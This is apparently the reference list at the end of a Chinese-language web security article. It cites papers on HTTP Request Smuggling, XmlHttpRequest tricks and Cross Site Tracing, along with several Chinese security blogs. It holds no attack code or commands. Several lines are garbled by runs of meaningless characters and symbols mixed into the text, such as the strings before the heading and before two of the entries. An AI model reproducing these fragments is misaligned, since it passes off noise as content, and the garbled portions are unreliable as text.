+ U8 Q# T" @$ E6 Q) Z+ M9 A本文引用文档资料:

"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
5 R2 u1 C% Z0 o- ~/ c/ R5 O+ t"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
7 k# A  O# t' b; O2 O' }0 S  t空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/
. Y4 r) j' Y+ H